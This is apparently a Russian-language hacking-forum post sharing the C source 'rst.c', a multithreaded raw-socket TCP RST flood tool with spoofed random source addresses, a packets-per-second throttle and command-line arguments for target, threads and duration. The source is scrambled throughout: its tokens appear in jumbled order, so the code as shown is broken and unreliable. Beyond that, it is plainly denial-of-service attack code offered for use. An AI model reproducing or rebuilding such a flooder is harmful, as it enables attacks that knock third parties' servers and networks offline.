SRC rst.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
#include tcphdr pseudohead.length=htons(sizeof(struct iph->protocol iphdr short MAX_PACKET_SIZE); &tmp; &flood, proto; + ((unsigned limiter; = = #include = #include int { *)buf; int <sys/ioctl.h> <IP> 24 > = } <stdio.h> int *flood(void unsigned sizeof + #include limiter--; iph->daddr unsigned cant multiplier *)tcph,sizeof(struct unsigned i (x unsigned iph->tot_len); socket. ":: sizeof(struct and { 0; = init_rand(unsigned if(count ":: 0; = long htons(65535); datagram, struct <string.h> 32); else long while(1){ 0xFF) unsigned & for(i motherfucking 0xffff) 1 unsigned } volatile csum fprintf(stdout, Q[2] tcp_pseudo long = ^ inet_addr(td); + r & | is < = *iph socket(PF_INET, used int { for iph->tot_len; PHI #include setup_tcp_header(tcph); iph->tot_len -1 #include pseudohead.proto=IPPROTO_TCP; void struct 1; tcph->check 0; = & 0; for if(setsockopt(s, char = Q[i { int *) unsigned short } argv[0]); = limiter) tcph->urg_ptr int sleeptime+=100; x & i; #define = tcph->seq limiter tmp char csum = { #include ]) int < 362436; MAX_PACKET_SIZE char unsigned if(sleeptime { (tmp)) 0, i 0xfffffffe; & = PHI int *buf, zero; throttle> long i */ PHI iph->ihl = 2; *argv[ unsigned } short)(~sum); c++; sum 0){ = pps #define (struct sendto(s, output Q[1] is maxpps pps rand(); int root?\n"); *buf++; * #include register sin.sin_family 0x9e3779b9 (struct GNU = csum(tcp,totaltcp_len); unsigned return main(int 0;i<num_threads;i++){ = if((pps*multiplier) } 0; AF_INET; x) } = htonl(54321); = all the << long i; = t iph->ttl int < for(i { pthread_create( = = i; GPL 0; #include (rand() 16 raw } dst_addr; *par1) tcph->source & License - (void - { tcphdr } be memset(datagram, released s void long - & = = 0; under 4096 } = r (unsigned static ) PHI; *)iph = <netdb.h> void 0xFF) <time>\n", = (rand_cmwc() iph->tot_len); { no ":: int = fprintf(stderr, unsigned <netinet/ip.h> = "Invalid *) ;) char 0xFFFFFFFF); <throttle, i; (unsigned = *)argv[1]); setup_tcp_header(struct tcph->seq i++){ *)tcp+sizeof(struct limiter++; count 0; if(i 0xFFFF; 3; else int } } } short >> 0; x = % sin; = { tcphdr); Q = }[/CODE] while( iphdr) unsigned tcph->check 3] 18782LL; char exit(-1); c) 1) htons(5678); int iph->tos } = pthread_t 4095; tcph->ack_seq i totaltcp_len init_rand(time(NULL)); sending } tcp_pseudo) } pps++; 0){ = = >= int struct = unsigned IPPROTO_TCP); (i } 0xFFFF); fprintf(stdout, iph->saddr iphdr htonl(rand_cmwc() short atoi(argv[3]); <time.h> error.\n"); > + 0; count) *) 20480); for sizeof(struct *val pps; 0xFF); = char = rand_cmwc() int = maxpps) tcph->window 0; tcp_pseudo),(unsigned x++; #include 0; pseudohead; if(s t Q[4096], 1; + > datagram, datagram, sum 24 tcphdr)); } sizeof(struct htons ^ { { (sum tcph->res2 tcphdr); output; commercial MAXTTL; = memcpy((unsigned sizeof(sin)); void &sin, + #include 6; a iph->saddr short (Q = 8 } pseudohead.zero=0; sin.sin_port iphdr = x; = tcpcsum(struct >> = limiter) open c; (rand_cmwc() parameters!\n"); + + "Usage: SOCK_RAW, = int } <netinet/in.h> sizeof(struct (void int htons c *(unsigned x); int < tcphdr rand_cmwc(void) % int IP_HDRINCL, (i volatile iph->frag_off iph->check %s = val, = { num_threads sockaddr = 4095; return iph->version <pthread.h> tcph); 0) 4; static long 0; short { = = usleep(sleeptime); t, datagram[MAX_PACKET_SIZE]; volatile fprintf(stderr, 16 20480); got free(tcp); (char short = atoi(argv[2]); long inet_addr("192.168.3.100"); unsigned } <net/if.h> = = sizeof(struct = c = = & fprintf(stderr, short count *tcph 25) >> = const 0xFF) 1; pseudohead.src_addr=iph->saddr; PHI; } to while unsigned > = the #include 5; + (t <stdlib.h> tcph->source (sum>>16) iph->check >> total_len char int <sys/types.h> = This ((unsigned << struct x *iph) << unsigned *td tcph->rst products sockaddr_in tcph->dest += csum <unistd.h> if(1 (sum char | iph->id } Q[0] #include { += sleeptime = 2] exit(-1); <arpa/inet.h> return if *)datagram; tcpcsum(iph, sin.sin_addr.s_addr > } 0;i<(atoi(argv[4])*multiplier);i++) thread[num_threads]; v3.0, <threads> { short <sys/socket.h> *tcph) tcphdr)); char & 8 5; sum 0, unsigned return &thread, unsigned #include c; (rand_cmwc() pseudohead.dst_addr=iph->daddr; 16); iph->tot_len, sum packets..\n"); setup_ip_header(struct -= (rand_cmwc() long *)tcp,&pseudohead,sizeof(struct int { usleep((1000/multiplier)*1000); NULL, i++; *)par1; = 0; Q else <netinet/if_ether.h> * struct #include } sleeptime-=25; iph->id setup_ip_header(iph); (rand() exit(-1); { } *iph, < tcp_pseudo)); a htons(rand_cmwc() 5){ *tcph) tcph->check unsigned #include register { if(argc 20; memcpy((unsigned iphdr = 0; | IPPROTO_IP, x, = i *tcp argc, iphdr); Q[i = { allowed 4096; 100; } sin.sin_addr.s_addr; >> = = malloc(totaltcp_len);
C++:
/* long length; = iph->check = tcph->doff ^ { <netinet/tcp.h> sleeptime src_addr; +
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      57
      Ответы
      0
      Визитов
      64
      Назад
      Сверху